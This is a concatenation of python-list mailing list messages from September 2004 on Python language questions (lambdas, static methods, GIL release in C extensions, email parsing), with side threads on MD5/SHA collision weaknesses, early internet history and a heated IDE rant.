> line "if: statement" syntax, so by analogy, I assume he'd also rather no one-
> line def statement.  So I'm stuck replacing a single line with three...  I was

I don't think the two issues are comparable.  Consider the PEP:

http://www.python.org/peps/pep-3000.html

which, while of course still very tentative, DOES express Guido's
current plans for the future, non-backwards-compatible Python 3000.

"The lambda statement" is first on the list of things "to be removed".
(Of course, there IS no such thing -- it's not a statement -- but I hope
that's just a minor error in the PEP;-).

There is no indication on the PEP that Guido means to remove the ability
to use a single line such as def name(): return 23.  The PEP does pick
up many specific changes coming from the 'Regrets' document,
http://www.python.org/doc/essays/ppt/regrets/PythonRegrets.pdf , and
specifically points to that document; but the PEP does not mention as
planned changes any of the lexical issues in the Regrets document (use
of \ for continuation, one-line if, use of tabs).  Until further notice
I think this means these lexical aspects aren't going away.

> hoping to avoid this...  (Of course, if I have a bunch of obj[index] type
> calls, I can average the additional line cost over all of these by making the
> function suitably general.)
> 
> Regardless, your analogy between obj[index] and an arbitrary mathematical
> expression was helpful.  It clarifies that, what I really want is an anonymous
> code block...

It generally is: lambda isn't a block and def isn't anonymous -- given
the tiny investment required to cook up a name for def, I think this
means def is much closer than lambda to what you want.  When you change
lambdas to defs you often find that the modest effort of naming is
actually USEFUL, since it helps clarify your code, and sometimes you get
to generalize and better apply "once and only once".

All in all I think changing lambdas into defs is a worthy endeavour and
enhances your code.  And if it should ever turn out in the future that
you do need a line break after the : in "def name(): ...", it's a
trivial and totally mechanical transformation with any editor (or an
auxiliary Python script), no effort at all.  So I wouldn't let that
distant prospect worry me in the slightest.


> Hmm...  Well, if this is really the only option, I'll probably leave these
> lambdas until I absolutely have to remove them...

I've never seen a syntax proposed for an "anonymous def" that Guido
would find in the least acceptable, if that's what you mean.  I still
think that perfectly ordinary defs are fine, and better than lambdas,
but of course it's your code so it's your decision.


Alex


From fumanchu at amor.org  Tue Sep 28 12:38:24 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Tue, 28 Sep 2004 09:38:24 -0700
Subject: re-entering in the normal flow after an exception is raised
Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022F13@exchange.hqamor.amorhq.net>

Michele Simionato wrote:
> I think I want "re-entrant exceptions" (not sure if this is the
> correct name).
> 
> Consider the following example:
> 
> class NotSeriousException(Exception):
>     pass
> 
> def do_this():
>     raise NotSeriousException()
> 
> def do_that():
>     pass
> 
> def do_this_and_that():
>     do_this()
>     do_that()
> 
> Since the exception is raised at the do_this() level, do_that() will
> not be executed. However, since the exception is not that serious, I
> would like to catch it and continue from the point the exception was
> raised, i.e. something like that:
> 
> try:
>     do_this_and_that()
> except NotSeriousException:
>     continue # does not work of course
> 
> where "continue" would continue from do_that().
> 
> Is there some elegant or hackish way to get this? 
> Notice that I do NOT want to modify the source code of
> do_this_and_that.
> It comes from real life code and I could modify it, but if there was
> some smarter way of getting what I want I would be interested ...

Could you clarify? You say you don't want to rewrite do_this_and_that;
should we assume the rest of the code is open to modification? For
example, the most obvious resolution to me would be to push the try
block into do_this():

class NotSeriousException(Exception):
    pass

def do_this():
    try:
        this_stuff()
    except NotSeriousException:
        pass

def do_that():
    pass

def do_this_and_that():
    do_this()
    do_that()

The other options seem to be: 1) rewrite NotSeriousException, and 2) use
a mechanism other than exceptions to get what you want. But if you can
use another mechanism, that pretty much means (to me) rewriting do_this
to use that mechanism; in that case, you might as well do the above.


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org


From narshe at gmail.com  Wed Sep 22 16:38:56 2004
From: narshe at gmail.com (Josh Close)
Date: Wed, 22 Sep 2004 15:38:56 -0500
Subject: calling class methods without instance
Message-ID: <4a0cafe204092213387d33c1c1@mail.gmail.com>

Is there a way to call a class method without an instance of that class?

class myClass:
  def printSomething(message):
    print message

myClass.print()

That's basically what I want to do. Is there a way to do that without
having to do

c = myClass()
c.print()

I've tried using

class myClass:
  def printSomething(message):
    print message
  printSomething = staticmethod(printSomething)

but that didn't seem to work either. I'm probably just missing
something really simple here.

-Josh


From cousinstanley at hotmail.com  Sun Sep 26 14:37:34 2004
From: cousinstanley at hotmail.com (Cousin Stanley)
Date: 26 Sep 2004 18:37:34 GMT
Subject: Python in a Nutshell for Python 2.4
References: <df045d93.0409221344.52d18be9@posting.google.com>
	<2Pt4d.5568$sa.2954@trndny05>
	<1gkkjme.1larcxs9r607kN%aleaxit@yahoo.com>
	<mailman.3790.1095959172.5135.python-list@python.org>
	<1gkl90k.amhv49fizafzN%aleaxit@yahoo.com>
	<a5415304.0409241053.77f92782@posting.google.com>
	<1gkmz7p.8s0hno1ug9eq4N%aleaxit@yahoo.com>
Message-ID: <2rogjeF1bkmniU1@uni-berlin.de>

> Unfortunately, with O'Reilly having rejected it, I'm not sure what other
> publisher, if any, is enough "into" Mac _and_ Python.  So for now I'm
> giving precedence to 2nd editions of Cookbook and Nutshell...!
>
 
Alex .... 

  Maybe you could cut out the middle man, e.g. Cousin O'Reilly,
  and consider ....
  
class AM_Publishing( object ) :
    
    def __init__( self , this_book ) :
        
        self.book = this_book 

    def xWrite( self )     :  pass
                       
    def edit( self )       :  pass
    
    def xPrint( self )     :  pass
    
    def xBind( self )      :  pass
    
    def advertise( self )  :  pass
    
    def sell( self )       :  pass
    
    def distribute( self ) :  pass


mac_py  = AM_Publishing( 'Mac Python in a NutShell' )


This exercise in  *desktop publishing*  might be worthy
of a book in itself ....


-- 
Cousin Stanley
Human Being
Phoenix, Arizona


From tchur at optushome.com.au  Sat Sep 11 18:41:27 2004
From: tchur at optushome.com.au (Tim Churches)
Date: 12 Sep 2004 08:41:27 +1000
Subject: MD5 and SHA cracked/broken...
In-Reply-To: <slrnck6boc.l77.mlh@furu.idi.ntnu.no>
References: <slrnck6boc.l77.mlh@furu.idi.ntnu.no>
Message-ID: <1094942487.1235.18.camel@emilio>

On Sun, 2004-09-12 at 02:59, Magnus Lie Hetland wrote:
> Basically, at Crypto 2004 preliminary papers were presented that
> pointed out weaknesses in MD5, SHA-0 and SHA-1. As far as I can tell,
> MD5 is broken and SHA-1 seems to be in a precarious position (even
> though I don't know the details at all).

IANAC, but it is important to keep in mind that only one aspect of MD-5
and a weakened version of SHA were "broken": collision resistance. My
understanding is that the other important qualities of a cryptographic
has function, preimage resistance and 2nd preimage resistance, were not
assailed.

Collision resistance is how difficult it is to find two input values
which produce the same has value. Weakened collision resistance
undermines digital signatures (at least in theory - practical attacks
may still be difficult).

Preimage resistance measures the difficulty of finding an input which
results in a particular hash value. You don't know the original input.
Poor preimage resistance undermines the security of hashed passwords and
similar uses.

2nd preimage resistance is the difficulty of finding an input which
hashes to the same value that some other given input hashes to. Like
preimage resistance but you do know the other input value. How is this
different to collision resistance? Collision resistance is the
difficulty of finding ANY two inputs which hash to the same but
arbitrary output value, whereas preimage resistance and 2nd preimage
resistance are about finding input values which hash to a PARTICULAR
output value. Clearly that's much harder, and the recently reported work
didn't address that issue, I think. 

-- 

Tim C

PGP/GnuPG Key 1024D/EAF993D0 available from keyservers everywhere
or at http://members.optushome.com.au/tchur/pubkey.asc
Key fingerprint = 8C22 BF76 33BA B3B5 1D5B  EB37 7891 46A9 EAF9 93D0





From lynn at garlic.com  Wed Sep  8 21:01:39 2004
From: lynn at garlic.com (Anne & Lynn Wheeler)
Date: Wed, 08 Sep 2004 19:01:39 -0600
Subject: Xah Lee's Unixism
References: <slrncj1745.t5q.amajorel@atc5.vermine.org>
	<413af268$0$19706$61fed72c@news.rcn.com>
	<rv1hhc.mtv2.ln@via.reistad.priv.no>
	<413c5b9c$0$19705$61fed72c@news.rcn.com>
	<1s4ihc.4i4.ln@via.reistad.priv.no> <opsdxecgt8pqzri1@mjolner.upc.no>
Message-ID: <un000uufg.fsf@mail.comcast.net>

"John Thingstad" <john.thingstad at chello.no> writes:
> Internet was discovered long before this.  (In 1965 a research
> project, by the Rand cooperation, for a network that could survive a
> nuclear attack. Sponsored by DARPA.  These is the real creators of
> the Internet technology. Not Unix hackers.)  It was the realization
> of www (CERN) that spawned the movement toward the Internet.
>
> So the year in question is about 1987.

packet networking was "discovered" in the 60s(?) ... but it was
homogeneous networking with pretty much homogeneous infrastructure
implementation.

the great switch-over to internetworking protocol was 1/1/83. i've
frequently asserted that one of the reasons that the internal network
http://www.garlic.com/~lynn/subnetwork.html#internalnet

was larger than the arpanet from just about the beginning until
sometime mid-85 ... was because the internal network nodes effectively
had a form of gateway functionality ... which showed up in the
internetworking protocol switchover on 1/1/83.

packet switching technology for the (homogeneous) arpanet is somewhat
orthogonal to internetworking protocol technology .... which was
deployed in the great switchover on 1/1/83.

some minor other references:
http://www.garlic.com/~lynn/internet.htm

CERN and SLAC were sister sites, did some amount of common tool
development, used common infrastructures and were big GML users
.... which had been done at the science center circa 1970
http://www.garlic.com/~lynn/subtopic.html#545tech

which morphed into SGML and then html, xml, etc. SLAC had the first
web server outside of europe .... running on vm/cms system
http://www.slac.stanford.edu/history/earlyweb/history.shtml

the distinction of internetworking protocol isn't packet switching
... it is gateways and interoperability of lots of different kinds of
networking.

OSI can support x.25 packet switching and/or even the arpanet packet
switching from the 60s & 70s .... but it precludes internetworking
protocol. internetworking protocol (aka internet for short) is a
(non-existant) layer in an OSI protocol stack between
layer3/networking and layer4/transport. misc. osi (& other) comments
http://www.garlic.com/~lynn/subnetwork.html#xtphsp

the switch-over to internetworking protocol on 1/1/83 somewhat also
coincided with the expanding role of csnet activity ... and more &
more NSF involvement .... compared to the extensive earlier arpa/darpa
involvement; aka csnet ... and then nsfnet1 backbone rfp and then
nsfnet2 enhanced backbone rfp.

misc. internet and nsfnet related history pointers:
http://www.garlic.com/~lynn/rfcietf.htm#history

the proliferation of the internetworking protocol and use in the
commercial sector was also happening during the 80s .... which you
could start to see by (1988) at the interop '88 show. misc.  interop
'88 references:
http://www.garlic.com/~lynn/subnetwork.html#interop88

-- 
Anne & Lynn Wheeler | http://www.garlic.com/~lynn/


From cjw at sympatico.ca  Sat Sep 11 08:12:55 2004
From: cjw at sympatico.ca (Colin J. Williams)
Date: Sat, 11 Sep 2004 08:12:55 -0400
Subject: PEP 335: Overloadable Boolean Operators - Official Posting
In-Reply-To: <mailman.3186.1094896646.5135.python-list@python.org>
References: <2qccb9Fuac61U1@uni-berlin.de> <41419A03.90506@sympatico.ca>
	<mailman.3186.1094896646.5135.python-list@python.org>
Message-ID: <4142EBC7.40105@sympatico.ca>



Gerrit wrote:
> Colin J. Williams wrote:
> 
>>I understand that the intent, eventually, is that the basic types become 
>>classes.
>>
>>Would making Bool a class permit the achievement of these objectives?
>>
>>If Bool were a class, then subclasses could use __repr__ to provide 
>>alternative responses to False/True, such as No/Yes or Fail/OK.
> 
> 
> No, this has nothing to do with it. The representation is not the issue.
> The issue is that currently, 'a and b' returns either a or b. Suppose we
> have an array A = [a1, b1, c1], B = [a2, b2, c2], A and B will currently
> always return A. However, we may want it to return [a1 and a2, b1 and
> b2, c1 and c2]. That is what this PEP is about.

I misled with my comment about reprsentation.

The basic suggestion I was trying to make is that, with a subclass,
the expression 'A and B' could return almost whatever one wishes.

The use of __repr__ is a secondary benefit.

Colin W.
> 
> The lack op ability to subclass bool is something different. I don't
> know why that is.
> 
> regards,
> Gerrit.
> 


From nk at ebox.gr  Sun Sep 19 19:28:12 2004
From: nk at ebox.gr (Nikos Kouremenos)
Date: Mon, 20 Sep 2004 02:28:12 +0300
Subject: python is going to die! =(
In-Reply-To: <mailman.3520.1095631846.5135.python-list@python.org>
References: <mailman.3520.1095631846.5135.python-list@python.org>
Message-ID: <1095636354.486723@athnrd02>

julio wrote:
> 
> 
>   Sorry but there is no another way, c# .net and mono are going to rip
> python, not because python is a bad lenguage, but because is to darn old
> and it refuses to innovate things, to fix wrong things, just because
> retarded backwards compatibility and because the python comunity and
> developers refuses to consider tools as being almost as important as the
> language itself. 
> 
> What does c# .net has that python doesnt ? (significant features) 
> 
> -- tools,tools,tools : have people that likes python ever used an ide? i
> mean a good ide, the one that saves you a lot of time, and makes you
> productive.
> 
>  looks like they havent, they think new people is willing to practice emacs
> for 6 months before even thinking about being productive, not to mention
> you have to learn 20 years old list, and low level c stuff to have fully
> advantage. Those guys are realy happy with their stuff that totaly,
> completly refuses to try a new tool, a new tool that 'is' better, like say,
> an ide??.
> 
>  Then we have the , you just need a text editor. This is realy amazing,
> tecnology improves, people have to change their way of thinking, i realy
> cant count the number of text editors avaiable for python, with basicaly
> just syntax highlighting.For example, idle :
> 
>  idle is just a text editor with syntax color,nothing else, then you see
> that half of buttons are so fucking retarded things that you never
> need,indentation stuff, replace tabs and all crap that you never realy
> need, the class browser and path browser were in the right way, before they
> got abandoned with just the most basic low functionality.
> 
>  No help in real programing? why? why do i need to press a retarded button
> to indent-deindent reindent stuff but i dont need help with integrated help
> system , code completion , source assistant , a freaking decent calltips
> support, etc ? It realy makes no sense , no sense at all.
> 
>  Why do these people keep reinventing text editors again and again and again
> to just add some retarded functionality that noone ever needs? pycrust ,
> drpython, leo , idle , eclipse plugins(py editors with color) they all love
> to reinvent the wheel instead of trying to work together on some common
> project to do something usefull, boy if i want a text editor with syntax
> color i just use vim,or kate or something.
> 
> For the C # Side there IS : 
> 
>  sharp develop, wich is going to be ported to linux and mac, and it is even 
> better than vstudio! is open source .
>  
>  monodevelop , which is a little inestable but very very usable , and has
> real features!! proyect browsing , full calltips ,code completion,source
> help, doc help system , you know , productivity features.
> 
> 
>  -- C # is almost perfetly designed, python is very well designed but it has
> some crap that obscurize it and is not going to be removed because of the
> damn backwards compatibility thing, C # has all the advantages there is
> new ,it has learned from other languages mistakes. Python must break
> backward compatibility to be at the same level of play. 
> At least python has just a few problems in this area compared to java,which
> is 50% crap , just to hold backwards compatibility. 
> 
>  -- C # is easy to use,fast apps coding (as python) but!! it has all the
> advantages of a compiled language , like less bugs concerning silly types
> mistakes , ides and tools can take much much more advantage of static
> typing , it is much much much faster , and finally is much more readable
> than python since i dont have to be guessing in the woods to know what type
> of value a function return , or what types are the functions argument or
> WTF does 'return MOM' means?
> 
> -- C # is killing python, first the gnome guys dont know what to choose for
> their core system development , if mono-C # ? or java ? the only reason C #
> hasnt being choosen is because of legal issues, and java? well it realy
> sucks so no surprise , but is considered just because eclipse wich is the
> most kick ass ide ever. AND they dont even consider python for a high level
> language to choose!!
> 
>   Look at source-forge,(around) python : 3000 proyects , C # 1500 proyects
> and C# is much younger than python, not to mention mono is new!! 2 times
> more C # proyects are started than python proyects by month, so very soon
> C# is going to completly replace python in their areas. Not to mention that
> C# proyects are generaly bigger, compared to small command line tools,
> python proyects.
> 
>  I think is a fact, reality , there is just no way python is going to
> survive, i would be happy if someone knows or see something i dont ,
> because i realy like python, but : C # which has all the m$ licenses and
> crap involved is so superior to python in so many ways, its not even
> funny,and C# has serius tools, ides ,etc. Look at
> nhibernate,nunit,njasper,the super sharp-develop ,monodevelop,etc. BTW
> wingware has a very nice ide, but close sourced and at a price of 200$ for
> os is ridiculous,and their personal edition is pure crap, no
> code-assistant ? lol. Is there a posibility python survives 2 years more at
> least? 
> 
> Btw , nice quotes on python site : "Python has been an important part of
> Google since the beginning, and remains so as the system grows and evolves.
> Today dozens of Google engineers use Python, and we're looking for more
> people with skills in this language." said Peter Norvig, director of search
> quality at Google, Inc.
> 
> But the google code jam, the one google searchs for new hackers to join
> their lines is only for c# , java , c++ , nice irony , lie,lie.
> 
> 
Juilio do what you like
go buy VS.net and leave clpy out of this.
a lot of devs don't need IDE working with Python
but if you really do want one, buy: 
http://www.thekompany.com/products/blackadder/

oh and btw, there's also IronPython and 'boo'.
HTH


From jocknerd1 at yahoo.com  Fri Sep 17 14:51:22 2004
From: jocknerd1 at yahoo.com (Jocknerd)
Date: Fri, 17 Sep 2004 14:51:22 -0400
Subject: Sorting a dictionary field belonging to a list
Message-ID: <pan.2004.09.17.18.51.21.514390@yahoo.com>

I have a list called teamlist which contain dictionaries of teams.  These
are the fields in my team dictionary:

name, won, lost, tied, pf, pa

To print standings I do the following:

def printStandings(teamlist):
   for team in teamlist:
      print (team['name'], team['won'], team['lost'], team['tied'],
      team['pf'], team['pa'])

My question is how would I go about sorting the output based on team['pf']
for instance?


From in.aqua.scribis at nl.invalid  Tue Sep  7 16:30:22 2004
From: in.aqua.scribis at nl.invalid (Peter Kleiweg)
Date: Tue, 7 Sep 2004 22:30:22 +0200
Subject: unexplained behavior of tkMessageBox.askyesno
In-Reply-To: <pan.2004.09.07.16.19.01.81605@jerf.org>
References: <Pine.LNX.4.44.0409072116420.1090-100000@kleigh.nl>
	<Pine.LNX.4.44.0409072141110.1090-100000@kleigh.nl>
	<pan.2004.09.07.16.19.01.81605@jerf.org>
Message-ID: <Pine.LNX.4.44.0409072228120.1090-100000@kleigh.nl>

Jeremy Bowers schreef:

> On Tue, 07 Sep 2004 21:43:02 +0200, Peter Kleiweg wrote:
> > If I have used openProject(), the function makeClean() always
> > prints 'False', no matter what I choose.
>
> If I had to guess, I'd say the problem is that you aren't using Tk
> correctly. You really need to run
>
> root = Tk()
> root.mainloop()


I have that.

The tkMessageBox.askyesno() is called from a function that is a
callback from a menu item attached to root.

-- 
Peter Kleiweg  L:NL,af,da,de,en,ia,nds,no,sv,(fr,it)  S:NL,de,en,(da,ia)
info: http://www.let.rug.nl/~kleiweg/ls.html



From carribeiro at gmail.com  Mon Sep 27 11:21:54 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Mon, 27 Sep 2004 12:21:54 -0300
Subject: Metaclass with name overloading.
In-Reply-To: <1gks5og.1iwnfub1tnkj0xN%aleaxit@yahoo.com>
References: <tyfekkoeyk2.fsf@pcepsft001.cern.ch>
	<mailman.3957.1096289972.5135.python-list@python.org>
	<1gks231.p4u2yr14s3pwfN%aleaxit@yahoo.com>
	<mailman.3960.1096294403.5135.python-list@python.org>
	<1gks5og.1iwnfub1tnkj0xN%aleaxit@yahoo.com>
Message-ID: <864d370904092708211988f990@mail.gmail.com>

On Mon, 27 Sep 2004 16:47:31 +0200, Alex Martelli <aleaxit at yahoo.com> wrote:
> I'm confused as to why you would assume that and what you mean by
> 'declaration'.  I'll take it that you mean the _execution_ of the class
> _statement_, in which case I really can't see how you could assume any
> such thing.  You _do_ know that __metaclass__ can be set anywhere in the
> class body, for example, right?  So how could Python know the metaclass
> before it's done executing the class body?  Yet it's exactly in order to
> execute the class body in the modified way you desire, that Python would
> need to set a certain frame's f_locals differently from the usual dict.

Forgive me, because I've made a big confusion. For some reason, I
assumed that the __metaclass__ statement had to be the first one on
the class declaration. I don't know why. Probably because all examples
that I have seen so far have were done like that, and in a way, it
made sense to me -- probably because I wanted it to be that.

I think that I'm trying to do too many thing at once, with more
enthusiasm than solid knowledge. I really feel that I'm on the right
path, but I'm still missing a lot of stuff. I'll try to rest a little,
think carefully about all the ideas that have popped in my mind over
the past week, and try to study it a little better *before* trying to
post again. Real thanks for all the help.

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From adalke at mindspring.com  Mon Sep  6 16:27:33 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Mon, 06 Sep 2004 20:27:33 GMT
Subject: Secure delete with python
In-Reply-To: <du74qmb9mzs.fsf@amadeus.cc.tut.fi>
References: <pan.2004.09.06.13.01.15.399532@REMOVE_mindless_ME.com>
	<chhoae$5pp$1@online.de> <chhoij$62d$1@online.de>
	<du74qmb9mzs.fsf@amadeus.cc.tut.fi>
Message-ID: <VK3%c.2013$ip2.2002@newsread3.news.pas.earthlink.net>

Ville Vainio wrote:
> Seriously? What OSen are known for [writing new content at
 > another location of the disk]? I'd had thought that if
> the file size is unchanged, the data is always written over the old
> data...

It can even be filesystem specific.  Back in the days
of WORM drives (do people still use those?) you could write
once to a place on the drive, but read it many times.
(Write Once Read Many).  Changing a file meant writing a
new copy of it and writing a new index to point to the
new file, ignoring the old.  That is, all copies of the
file would stay on the disk.


The VMS systems always kept an old copy of the file around
unless you explicitly deleted it.  By default a directory
listing would only show the most recent copy of the file,
but you could tell it to show all the versions, which
would look like (roughly, been 15 years since I last saw VMS)
   MYFILE;1
   MYFILE;2
    ..
   MYFILE;94

It was believed this feature was a deliberate ploy of
DEC to sell more hard drives.  ;)


If you read a file then wait a while, and during that time
the OS decided to defragment the drive then the location
of the file could easily be changed from underneath you.


				Andrew
				dalke at dalkescientific.com


From dale_huffman at steris.com  Wed Sep 15 13:47:07 2004
From: dale_huffman at steris.com (Dale Huffman)
Date: 15 Sep 2004 10:47:07 -0700
Subject: IEEE 754 floats
References: <a2a325a7.0409140504.2d36562b@posting.google.com>
	<ci6uf7$jgh$1@news1.ucsd.edu>
Message-ID: <a2a325a7.0409150947.75b57e03@posting.google.com>

Thanks everyone it works... but does this seem like a kludgy (sp?) way
to do this, or have I just not gotten to PythonThink mode yet.


From jianqiz at bigpond.com  Thu Sep 30 11:46:44 2004
From: jianqiz at bigpond.com (Michael Zhang)
Date: Thu, 30 Sep 2004 15:46:44 GMT
Subject: One thread freezes my whole application
In-Reply-To: <415aa436$0$240$edfadb0f@dread14.news.tele.dk>
References: <GGt6d.8022$5O5.6405@news-server.bigpond.net.au>
	<415aa436$0$240$edfadb0f@dread14.news.tele.dk>
Message-ID: <ETV6d.9689$5O5.8558@news-server.bigpond.net.au>

Anders J. Munch wrote:
> "Michael Zhang" <jianqiz at bigpond.com> wrote:
> 
>>The problem is when I click the connection button and invoke that
>>connection thread, the whole application (including base thread and
>>display thread) was frozen. What I expected was when one thread is
>>listerning the socket, the display thread should be able to continue its
>>running, and I should be able to invoke other (if any) threads from the
>>GUI base thread. Afterwards, I had to use ps/kill to clean them up.
>>
> 
> [...]
> 
>>     def run(self):
>>Cmodule.create_connection() # Cmodule is created from C
>>
> 
> Do I understand you correctly that Cmodule is a C extension?
> 
> If create_connection includes C code that does blocking I/O without
> releasing the global interpreter lock, your whole application will
> block.  Perhaps that's what you're seeing.
>

Thank you, Anders

Your hint on GIL leads me quite lots of searching and reading on Google. 
After several hours confusion (due to those different opinions), I 
finally come to a quite simple and amazing solution:

       Py_BEGIN_ALLOW_THREADS;	# add this line
       some_blocking_function_call();
       Py_BEGIN_ALLOW_THREADS;	# add this line as well

Now I've got what I really expected.

However, there is a new question (rather than a problem). Since my 
Cmodule is created using SWIG, if there is any change in the original C 
code, I have to run swig again to get new "Cmodule_wrap.c" file, and add 
above two lines into that new wrapper file, then build a new module. 
It's quite uncomfortable during debugging. Is there any way I can use to 
achieve the same goal on Python side code, rather that on C extension 
side? Can I just modify the Python code to release that GIL? or Do I 
have any misunderstading about GIL, say, the concept about GIL only 
applies to C extension rather than Python threading itself?

Michael


From peter at engcorp.com  Thu Sep 16 10:35:11 2004
From: peter at engcorp.com (phansen)
Date: Thu, 16 Sep 2004 10:35:11 -0400
Subject: mail addresses
In-Reply-To: <4edc17eb.0409160606.2ed0e56@posting.google.com>
References: <4edc17eb.0409160606.2ed0e56@posting.google.com>
Message-ID: <jJ-dnbgQIuQCOdTcRVn-oA@powergate.ca>

Michele Simionato wrote:
> Suppose I have an email.Message object.
> I can extract the sender by using ["From"]. However sometimes I
> get addresses in the form
> 
> John Doe <john.doe at somedomain.com>
> 
> sometimes I get addresses in the form
> 
> jane.doe at someotherdomain.org
> 
> Is there a standard way to normalize the addresses? It is only the second
> form that I am interested in. TIA,

from email.Utils import parseaddr

-Peter


From siona at chiark.greenend.org.uk  Wed Sep 22 12:18:03 2004
From: siona at chiark.greenend.org.uk (Sion Arrowsmith)
Date: 22 Sep 2004 17:18:03 +0100 (BST)
Subject: python ides
References: <cip735$e01$1@sea.gmane.org>
	<mailman.3662.1095789622.5135.python-list@python.org>
Message-ID: <Zax*ULgvq@news.chiark.greenend.org.uk>

kevin  <kevin_spencer_2 at yahoo.com> wrote:
>I am talking about pure functionality we all want, advanced debugging ,
>inline object information ,

I don't want inline object information. I want object information
over there --> so it's to hand should I need it and out of the way
and not cluttering up my workspace according to someone else's idea
of how I would be most productive when I don't.

> fast proyect development,etc.

Yes, but I want to develop projects along the lines that are best
suited to the task and the development context, not just those
that the IDE developer thought of.

> you cant deny that some of the
>features i mentioned are realy time saver , at least if you saw the
>screenshoots especialy the first one .

Popping up a spurious extra control window over the insertion point
as you're typing is a *time saver*? Now I know you're not serious.

-- 
\S -- siona at chiark.greenend.org.uk -- http://www.chaos.org.uk/~sion/
  ___  |  "Frankly I have no feelings towards penguins one way or the other"
  \X/  |    -- Arthur C. Clarke
   her nu become? se bera eadward ofdun hl?ddre heafdes b?ce bump bump bump


From bokr at oz.net  Sat Sep 11 02:15:45 2004
From: bokr at oz.net (Bengt Richter)
Date: 11 Sep 2004 06:15:45 GMT
Subject: Is there no switch function in Python
References: <CR20d.46131$Vf.2380522@news000.worldonline.dk>
	<1gjv9x9.ory9xvc5569dN%aleaxit@yahoo.com>
	<cht6cc$uci$0$216.39.172.122@theriver.com>
	<2qf5f9Fv0eamU1@uni-berlin.de>
Message-ID: <chu56h$57p$0$216.39.172.122@theriver.com>

On Fri, 10 Sep 2004 22:20:13 -0400, Leif K-Brooks <eurleif at ecritters.biz> wrote:

>Bengt Richter wrote:
>> But IWT if we had named local code suites, we could exec them safely via a mapping. E.g.,
>> 
>>     def foo(var): # following is not legal code ;-)
>>         v1: print 'var is one'
>>         v2: # any suite should be ok, not just one-liners
>>             print 'var',
>>             print 'is two'
>>         switch = {1:v1, 2:v2}    
>>         exec switch.get(var, '')
>
>I'm probably missing something, but what's wrong with:
>
>def foo(var):
>	def v1(): print 'var is one'
>	def v2():
>		print 'var',
>		print 'is two'
>	switch = {1:v1, 2:v2}
>	switch.get(var, lambda:None)()

Sorry, I should have shown an example that really depends on local name space rebinding,
which the OP's example doesn't, and which was my main point. E.g., try getting the effect of:

       def foo(var): # following is not legal code ;-)
           v1: print 'var is one'
               var += 1
               status = 'incremented'
           v2: # any suite should be ok, not just one-liners
               print 'var',
               print 'is two'
               var *= 2
               status = 'doubled'
           switch = {1:v1, 2:v2}    
           exec switch.get(var, '')
           print 'var is now %r, and was %s.' % (var, status)
           return var, status

Regards,
Bengt Richter


From manuelbastioniNOSPAM at tin.it  Sat Sep 11 11:40:52 2004
From: manuelbastioniNOSPAM at tin.it (manuel)
Date: Sat, 11 Sep 2004 15:40:52 GMT
Subject: little problem with list.reverse() function
In-Reply-To: <41431a95$0$65567$a1866201@newsreader.visi.com>
References: <LRE0d.236333$OR2.10714605@news3.tin.it>
	<41431a95$0$65567$a1866201@newsreader.visi.com>
Message-ID: <80F0d.236387$OR2.10717290@news3.tin.it>

Grant Edwards wrote:

>>>>a.reverse()
>>>>print a

oops....THANKS :-)


From aleaxit at yahoo.com  Wed Sep  8 11:47:16 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Wed, 8 Sep 2004 17:47:16 +0200
Subject: Using Python to generate code?
References: <ed89f8f2.0409072251.2152c22b@posting.google.com>
	<pan.2004.09.08.03.35.16.733137@jerf.org>
Message-ID: <1gjt2oi.1fe1y8mpb2jxdN%aleaxit@yahoo.com>

Jeremy Bowers <jerf at jerf.org> wrote:
   ...
> > 2. Does Python has a parser? It seems to me that there is no-standard
> > Parser for Python right now. If it is the case, can I interface Python
> > with existing cup and lex?
> 
> Why are you asking about a parser when you are talking about *outputting*
> code? Is there something left out of the problem description?

the original poster started his original post with:

> I need your advice on this matter. I am working on a program which
> takes some pieces of System-C code in and generate some other System-C

That "takes some pieces of ... code" sounded to me like an indication
that a parser is needed -- nothing left out of the problem description,
IMHO.


Alex


From godoy at ieee.org  Fri Sep 17 10:40:56 2004
From: godoy at ieee.org (Jorge Godoy)
Date: Fri, 17 Sep 2004 11:40:56 -0300
Subject: up with PyGUI!
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<m3vfeg69xp.fsf@g2ctech.com> <2qq5adF133c5kU1@uni-berlin.de>
	<m3isaf1xki.fsf@g2ctech.com> <2qvc54F143difU1@uni-berlin.de>
Message-ID: <m3k6utyn47.fsf@g2ctech.com>

Greg Ewing <greg at cosc.canterbury.ac.nz> writes:

> Jorge Godoy wrote:
>> I'm not familiar with the looks on Macs...
>
> In that case, seeing a screen shot wouldn't help you decide whether it
> looked Mac-like. :-)

No, but would help me seeing if it has a pleasurable look. :-) 

I would believe if it had screenshots and said it has native look and
after some public announces nobody contested it. :-)

> Yep, once again, Apple is way ahead of everyone else with their
> integration of PDF imaging into the core graphics stuff. That's what
> gives those images their nice anti- aliased look...

People said here we can get that with OpenOffice.org...  I'll try it
later.  The problem is not the result -- as I think we can get those
results with SodiPodi, Gimp and other tools in a chain or even
alone... -- but the effort to get that result.


Be seeing you,
-- 
Godoy.     <godoy at ieee.org>


From gohadbhai at rediffmail.com  Tue Sep 28 00:34:11 2004
From: gohadbhai at rediffmail.com (Sandeep Avinash Gohad)
Date: 28 Sep 2004 04:34:11 -0000
Subject: A Question....
Message-ID: <20040928043411.27624.qmail@webmail26.rediffmail.com>

An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20040928/87c22a2f/attachment.html>
-------------- next part --------------
 ?
Hi

How to create ".exe" file of any python program.As after creating the ".exe" file I can run the program without python software,
Also the same with Unix or Linux operating System.
Is there any tool available to create the setup of any program.
Like we have the tools like "install-shield" or "Package & Deployment"
I am interested in developing a data-base related program with python
so if u know any useful links please send it to me.

Thanx
Sandeep

From aleaxit at yahoo.com  Mon Sep 13 05:09:07 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Mon, 13 Sep 2004 11:09:07 +0200
Subject: Property with parameter...
References: <mailman.3221.1095062393.5135.python-list@python.org>
Message-ID: <1gk1sn7.mbsc0o17dm56rN%aleaxit@yahoo.com>

kepes.krisztian <kepes.krisztian at peto.hu> wrote:

> Hi !
> 
